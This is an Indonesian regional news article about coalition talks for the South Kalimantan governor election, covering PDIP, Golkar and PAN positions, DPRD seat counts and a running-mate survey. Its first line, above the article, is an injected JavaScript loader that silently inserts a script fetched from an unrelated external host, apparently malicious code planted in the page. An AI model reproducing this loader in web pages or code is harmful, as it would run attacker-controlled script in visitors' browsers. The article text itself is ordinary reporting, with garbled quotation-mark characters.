(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Ketatnya persaingan memperebutkan pasangan incumbent Sahbirin Noor di Pilgub Kalsel bisa memicu lahirnya poros ketika. Rajutan koalisi antara Partai Golkar dan PDIP bisa lepas jika Ketua Umum DPP PDIP Megawati Soekarno Putri ternyata tak berkenan dengan pilihan incumbent atas Ketua DPW PAN Kalsel H Muhidin sebagai pasangan cawagub.
Tak bisa dihindari, konstelasi politik dalam berebut kursi ‘Kalsel 1’ tak terlepas dari tangan petinggi parpol di pusat. Para ketua umum inilah, yang menjadi faktor penentu pertarungan di daerah melalui surat sakti bernama rekomendasi.
Kemenangan kandidat dalam Pilgub maupun Pilkada Kabupaten/Kota, tidak sekadar menjadi adu gengsi partai, tapi juga terkait strategi pemenangan suara dalam Pemilu selanjutnya. Maka dalam menentukan sosok yang ditarungkan di Pilkada, para ketua umum parpol akan melihat sejauh mana kadernya bisa terlibat dan mendulang kemenangan.
Sebagaimana diketahui, PDIP Kalsel sebelumnya telah menyodorkan dua kader terbaiknya sebagai pendamping incumbent Sahbirin. Yakni H Rosehan NB dan M Syaripuddin. Meski memiliki suara signifikan (PDIP Kalsel meraih 8 kursi di DPRD) peringkat dua bersama Gerindra yang juga memperoleh kursi sama, mereka tidak serta merta mengusung calon sendiri. Tapi, memilih hanya menyodorkan wakil gubernur atas dasar komitmen menyokong pencalonan incumbent Sahbirin.
Tapi di tengah jalan–meski masih sebatas isu, munculnya duet Sahbirin-Muhidin memupus harapan partai berlambang banteng moncong putih ini.
Dihubungi melalui sambungan telepon pada Jumat (20/12) petang, Ketua Bidang Polhukam DPD PDIP Kalsel H. Rosehan Noor Bahri menanggapinya dengan santai.
“Namanya klaim, ya biasa saja. Semuanya nanti tergantung SK dari DPP yang menentukan. Kalau kita sih happy saja,†kata Rosehan yang saat dihubungi tengah berada di Jakarta.
Rosehan sendiri, sebelumnya digadang berpasangan dengan Sahbirin. Itu jika koalisi besar di mana kader PDIP ditempatkan untuk mendampingi petahana benar-benar terjadi. “Kita serahkan ke (DPP) PDIP, saya berpasangan dengan Paman Birin atau saya dengan siapa. Itu urusan pengurus partai,†paparnya.
Rosehan pun menekankan, dalam dunia politik memang segala sesuatu mungkin terjadi. Ya, karena baginya politik itu dinamis dan tidak kaku. “Politik itu tidak terlalu harus kaku begitu lah. Santai saja,†bebernya.
Lantas, jika seandainya pasangan Paman Birin-Muhidin benar-benar terjadi?
Rosehan menyebut, semua kewenangan maupun keputusan akhir tetap berada di pengurus DPP PDIP. Mengapa DPP PDIP? “DPP (PDIP) itu lebih pandai (dalam) mengatur strategi, situasi dan kondisi,†tegasnya.
Rosehan menyebut segala kemungkinan pasti terjadi. Termasuk jika mengusung kader sendiri. Apalagi di panggung perpolitikan. “Makanya jangan terlalu berharap politik itu kepastian. Kepastian itu adalah injury time saat SK dikeluarkan,†pungkasnya.
Kemungkinan PDIP untuk mengusung paket sendiri dalam Pilgub memang terbuka jika Sahbirin memaksakan berduet dengan Muhidin. Sebab di koalisi nasional, PAN tak termasuk dalam barisan parpol besar penyokong pemerintah sebagaimana Golkar, PDIP, PPP, PKB, dan juga Gerindra yang belakangan juga masuk dalam kabinet. Apalagi, dari hitungan jumlah kursi di parlemen, PAN memiliki jumlah kursi lebih sedikit dibandingkan PDIP.
Dari hasil pemilu 2019 lalu, kursi terbanyak diraih Partai Golongan Karya (Golkar) dengan 12 kursi, diikuti Partai Demokrasi Indonesia Perjuangan (PDIP) dan Partai Gerakan Indonesia Raya (Gerindra) yang sama-sama meraih 8 kursi. Di poisisi peraih kursi terbanyak selanjutnya adalah Partai Amanat Nasional (PAN) dengan 6 kursi.
Disusul Partai Keadilan Sejahtera (PKS) dan Partai Kebangkitan Bangsa (PKB) dengan raihan masing-masing 5 kursi. Partai Nasional Demokrasi (NasDem) sukses mendulang 4 kursi. Lalu ada Partai Demokrat dan Partai Persatuan Pembangunan (PPP) dengan masing-masing menempatkan wakilnya 3 kursi. Dan satu-satunya peraih 1 kursi di DPRD Kalsel periode 2019-2024 adalah Partai Hati Nurani Rakyat (Hanura).
Melihat perolehan kursi tersebut, jika Golkar memaksakan berduet dengan Muhidin, bisa jadi PDIP akan membelot dan membawa anggota gerbong partai koalisi lain seperti PKB, Nasdem, PPP, dan Hanura. Jika bergabung, poros ketiga ini akan bisa menyorong sendiri jagonya di Pilgub dengan nahkoda PDIP.
Di sisi lain, sinyal jika Muhidin akan mendampingi Sahbirin ini disampaikan oleh Ketua DPD PAN Banjarbaru Emi Lasari usai menerima pendaftaran pasangan incumbent di Pilkada Banjarbaru, Nadjmi-Jaya.
Pada kesempatan tersebut, ia memang tidak menegaskan apakah maju sebagai Gubernur atau Wakil Gubernur. Namun, merujuk pada sejumlah fakta politik yang berkembang saat ini, PAN Kalsel yang memiliki 6 kursi di DPRD akan cukup sulit mengembangkan poros baru.
Mengingat sejumlah parpol, telah ‘dikunci’ oleh dua pasangan yang saat ini muncul yakni Sahbirin dan Denny Indrayana. Sebelumnya memang ada harapan koalisi PAN-Gerindra, tapi sebagaimana diketahui, Gerindra bersama Demokrat sudah menjatuhkan sinyal politik ke Denny Indrayana.
Walhasil, yang memungkinkan bagi PAN adalah duduk di DA 2 untuk mendampingi Sahbirin. Apalagi sebelumnya, Muhidin juga tertarik untuk menjadi duet incubent. “Insyaallah jika memang ada umur panjang, saya siap menjadi bakal calon Wakil Gubernur Kalsel mendampingi Sahbirin Noor pada pilkada mendatang,†kata Muhidin beberapa waktu lalu.
Muhidin sudah kepincut disandingkan dengan Gubernur Sahbirin Noor. Meski di Pilgub Kalsel tahun 2015 sempat bertarung sengit melawan pasangan Sahbirin Noor-Rudy Resnawan, Muhidin menganggap dunia politik bersifat dinamis. “Memang kemarin saya menjadi rival, tapi siap juga bila memang dijadikan wakil,†ujarnya.
Jika mempertimbangkan hasil surevi Lembaga Saiful Murjani Researc and Consulting (SMRC) pada 9 – 19 Oktober lalu, nama Muhidin menempati posisi pertama dengan persentase 11,9 persen sebagai cawagub Kalsel yang berpasangan dengan Sahbirin.
Setelah itu, ada sepuluh nama di bawah Muhidin, seperti Rudy Resnawan 7,5 persen, Rosehan Noor Bahri 7,3 persen, Mardani H Maming 6,2 persen, Aboe Bakar Alhabsy 4,7 persen, Zairullah Azhar 4,0 persen, Habib Abdurrahman Bahasyim 3,3 persen, Gusti Khairul Saleh 3,1 persen, Ibnu Sina 3,1 persen, Gusti Farid Hasan Aman 2,0 persen, dan Abdul Wahid 1,5 persen. (rico/fikri)
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
This website uses cookies.